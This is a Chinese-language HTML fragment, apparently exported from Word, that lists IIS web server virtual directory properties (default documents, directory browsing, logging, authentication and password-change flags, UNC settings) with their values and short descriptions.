<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DefaultDoc = index.aspx,default.aspx<SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含一个或多个默认文档的文件名，如果在客户端的请求中不包含文件名，将把默认文档的文件名返回给客户端。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DefaultDocFooter =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">附加到返回到客户端的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件的自定义页脚（页脚并不附加到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DefaultLogonDomain =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器用来对用户进行身份验证的默认域（在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> UserIsolationMode = 2 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">宿主方案中）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Description =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供对象的一段较长文本描述。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseFlags = 1073741886<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可以提供多少目录和文件信息（如果启用浏览）以及目录中是否包含默认页的标记。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseShowDate = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">　时，浏览目录时将显示日期信息。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseShowExtension = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，浏览目录时将显示文件扩展名。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseShowLongDate = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，显示目录时将在扩展格式中显示日期信息。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseShowSize = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，浏览目录时将显示文件大小信息。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DirBrowseShowTime = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，显示目录时将显示文件时间信息。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DisableStaticFileCache = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">目录的静态文件缓存</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DoDynamicCompression = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HcDoDynamicCompression </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性相同。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DontLog = False<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否将客户端的请求写入日志文件。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">DoStaticCompression = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HcDoStaticCompression </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性相同。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">EnableDefaultDoc = True<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，浏览目录时系统会加载该目录的默认文档（由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> DefaultDoc </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性指定）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">EnableDirBrowsing = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，将启用目录浏览。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">EnableDocFooter = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启用或禁用由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> DefaultDocFooter </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性指定的自定义页脚。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">EnableReverseDns = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启用或禁用万维网发布服务（</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">WWW </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务）的反向域名服务器</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (DNS) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">查找。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">FrontPageWeb = True<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器实例是否由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft® FrontPage® </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">处理。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">HttpExpires = D, 0x15180<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在返回给浏览器的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件标头中指定数值，来指定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文档的过期时间。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">HttpRedirect =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">当客户端试图访问特定资源时，重定向到的目录或</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">LogonMethod = 3<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定明文登录的登录方法的整数。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">MaxRequestEntityAllowed = -1<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">请求实体正文中允许的最大字节数。无穷大表示为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> -1</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Name = W3SVC/1/ROOT<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">定义了用来识别对象的标签。创建子类时，可以将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Name </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性改写为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Key </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">NTAuthenticationProviders =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">以逗号分隔的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">身份验证提供程序列表，例如集成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">身份验证（也称为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> NTLM</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">PassportRequireADMapping = 1<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如何处理</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft .NET Passport </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证和</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Active Directory </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">映射。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">PasswordChangeFlags = 6<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">控制服务器和客户端之间密码到期及密码更改处理的标志。默认值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示需要</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">连接；</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示允许在非安全端口进行更改；</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">2 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示禁止更改；</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">4 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示禁用密码到期通知。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">PasswordExpirePrenotifyDays = 0<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">距离客户端密码到期时间的天数，还显示发送密码预先通知消息的时间。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> </FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Path = D:\XXXX\XXXXX\XXXXX<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与虚拟目录关联的物理路径。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">PoolIdcTimeout = 0<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>Internet </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库连接池的超时值（秒）。值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示未执行任何池。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Realm =<SPAN style="mso-tab-count: 5">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用来验证客户端的领域，该客户端试图访问由摘要式身份验证或高级摘要式身份验证保护的资源。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">SettingID =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">由已知</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> CIM_Setting </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对象指定了标识。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">ShutdownTimeLimit = 90<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在达到回收阈值后，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times , New Ro, man'; mso-hansi-font-family: 'Times New Roman'">应等待多长时间（以秒为单位）以便所有旧请求在工作进程结束之前完成运行。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">SSIExecDisable = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否禁用此路径下的在服务器端的包含文件</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (SSI) #exec </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指令。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">UNCPassword =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在获取</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> UNC</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（通用命名约定）虚拟根访问权限时使用的加密密码</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">UNCUserName =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为通用命名约定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (UNC) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">虚拟根指定用户名</SPAN></P>
